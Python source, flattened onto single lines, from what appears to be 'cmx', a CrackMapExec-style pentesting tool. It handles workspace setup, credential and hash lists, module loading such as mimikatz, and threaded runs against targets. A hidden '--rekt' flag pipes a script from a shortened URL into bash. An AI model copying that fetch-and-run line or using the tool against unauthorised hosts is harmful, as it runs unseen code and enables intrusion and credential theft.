def first_run_setup(logger): if not cfg.TMP_PATH.is_dir(): cfg.TMP_PATH.mkdir(parents=True, exist_ok=True) if not cfg.CMX_HOME.is_dir(): logger.info('First time use detected') logger.info('Creating home directory structure. Files will be located in {}'.format(cfg.CMX_HOME)) cfg.CMX_HOME.mkdir(parents=True, exist_ok=True) folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts'] for folder in folders: if not (cfg.CMX_HOME / folder).is_dir(): (cfg.CMX_HOME / folder).mkdir(parents=True, exist_ok=True) if not (cfg.WS_PATH / 'default').is_dir(): logger.info('Creating default workspace') (cfg.WS_PATH / 'default').mkdir(parents=True, exist_ok=True) p_loader = protocol_loader() protocols = p_loader.get_protocols() for protocol in list(protocols.keys()): try: protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath']) except KeyError: continue proto_db_path = cfg.WS_PATH / 'default' / protocol proto_db_path = proto_db_path.with_suffix('.db') if not proto_db_path.is_file(): logger.info('Initializing {} protocol database'.format(protocol.upper())) conn = sqlite3.connect(proto_db_path) c = conn.cursor() # try to prevent some of the weird sqlite I/O errors c.execute('PRAGMA journal_mode = OFF') c.execute('PRAGMA foreign_keys = 1') getattr(protocol_object, 'database').db_schema(c) # commit the changes and close everything off conn.commit() conn.close() if not cfg.CERT_PATH.is_file(): logger.info('Generating SSL certificate') try: check_output(['openssl', 'help'], stderr=PIPE) except OSError as e: if e.errno == errno.ENOENT: logger.error('OpenSSL command line utility is not installed, could not generate certificate') exit(1) else: logger.error('Error while generating SSL certificate: {}'.format(e)) exit(1) os.system('openssl req -new -x509 -keyout {k} -out {p} -days 365 -nodes -subj "/C=US"'.format(k=cfg.KEY_PATH,p=cfg.CERT_PATH))
def __init__(self): cmd.Cmd.__init__(self) self.workspace_dir = cfg.WS_PATH self.conn = None self.p_loader = protocol_loader() self.protocols = self.p_loader.get_protocols() self.workspace = cfg.WORKSPACE self.do_workspace(self.workspace) self.db = cfg.last_used_db if self.db: self.do_proto(self.db)
def main(): setup_logger() logger = CMXLogAdapter() first_run_setup(logger) args = gen_cli_args() module = None module_server = None targets = [] server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = cfg.WORKSPACE hasPassList = False if args.debug: setup_debug_logger() if args.darrell: links = open(( cfg.DATA_PATH / 'videos_for_darrell').with_suffix('.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) sys.exit(1) except: sys.exit(1) if args.rekt: try: os.system("curl -s -L http://bit.ly/10hA8iC | bash") sys.exit(1) except: sys.exit(1) logging.debug('Passed args:\n' + pformat(vars(args))) if hasattr(args, 'username') and args.username: for user in args.username: if Path(user).is_file(): #If it was a file passed in args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if Path(passw).is_file(): #If it was a file passed in hasPassList = True args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if Path(ntlm_hash).is_file(): #If it was a file passed in args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if Path(target).is_file(): #If it was a file passed in target_file_type = identify_target_file(target) if target_file_type == 'nmap': targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == 'nessus': targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = (cfg.WS_PATH / current_workspace / args.protocol).with_suffix('.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) setattr(protocol_object, 'config', cfg.__dict__) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.announce('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.announce('{} module options:\n{}'.format( name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = 443 context = Context(db, logger, args) module_server = CMXServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open threads ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) # Lets azure not require a target if args.protocol == 'az': if not targets: jobs.append(pool.spawn(protocol_object, args, db, '1')) if args.timeout == 0: args.timeout = None for job in jobs: job.join(timeout=args.timeout) except (KeyboardInterrupt, gevent.Timeout): logging.info("Timed out") pass if module_server: module_server.shutdown()
def gen_cli_args(): VERSION = cfg.VERSION RELEASED = cfg.RELEASED p_loader = protocol_loader() protocols = p_loader.get_protocols() title = """____ ____ ____ ____ _ _ _ _ ____ ___ ____ _ _ ___ ____ ____ _ _ ____ | |__/ |__| | |_/ |\/| |__| |__] |___ \/ | |__/ |___ |\/| |___ |___ | \ | | |___ | \_ | | | | | |___ _/\_ | | \ |___ | | |___ """ parser = argparse.ArgumentParser(description=""" {} A swiss army knife for pentesting networks {}{}{} {}{} {}: {} {} """.format( highlight(title, 'yellow'), highlight('Forged by ', 'white'), highlight('@byt3bl33d3r', 'blue'), highlight(' using the powah of dank memes', 'white'), highlight('R3born from the ashes by ', 'red'), highlight('@awsmhacks', 'blue'), highlight('Version', 'green'), highlight(VERSION, 'cyan'), highlight('(/.__.)/ The python3 EXTREME edition \(.__.\)', 'yellow')), formatter_class=RawTextHelpFormatter, epilog="""Usage: cmx [-D] PROTOCOL [-h] TARGET [target options] [-M MODULE [module options]] cmx smb -M mimikatz --options (List a particular module's options) cmx smb 10.10.10.10 -u Administrator -p Password --recon cmx -D smb 192.168.1.1 -u username -p password -M mimikatz Azure! cmx az --config (get an azure session up, follow prompts) cmx az --user <useremail> (gets all info about a single user) cmx az --users (gets all users) cmx az -h (for all current azure stuffs) *Check https://awsmhacks.github.io/cmxdocs/index for detailed usage* """, add_help=False, usage=argparse.SUPPRESS) parser.add_argument("--threads", type=int, dest="threads", default=100, help=argparse.SUPPRESS) parser.add_argument( "--timeout", default=0, type=int, help=argparse.SUPPRESS) # use --timeout 0 for no timeout parser.add_argument("-D", "--debug", action='store_true', help=argparse.SUPPRESS) parser.add_argument("--darrell", action='store_true', help=argparse.SUPPRESS) parser.add_argument("--rekt", action='store_true', help=argparse.SUPPRESS) subparsers = parser.add_subparsers( title='protocols', dest='protocol', help=argparse.SUPPRESS ) #suppressing cause it looks cleaner. gonna have to hit the wiki for helps. std_parser = argparse.ArgumentParser(add_help=False) std_parser.add_argument( "target", nargs='*', type=str, help= "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)" ) std_parser.add_argument( "-id", metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help="database credential ID(s) to use for authentication") std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') fail_group.add_argument( "--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') fail_group.add_argument( "--hfail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') module_parser.add_argument('-mo', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') module_parser.add_argument( "--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') for protocol in list(protocols.keys()): protocol_object = p_loader.load_protocol(protocols[protocol]['path']) subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args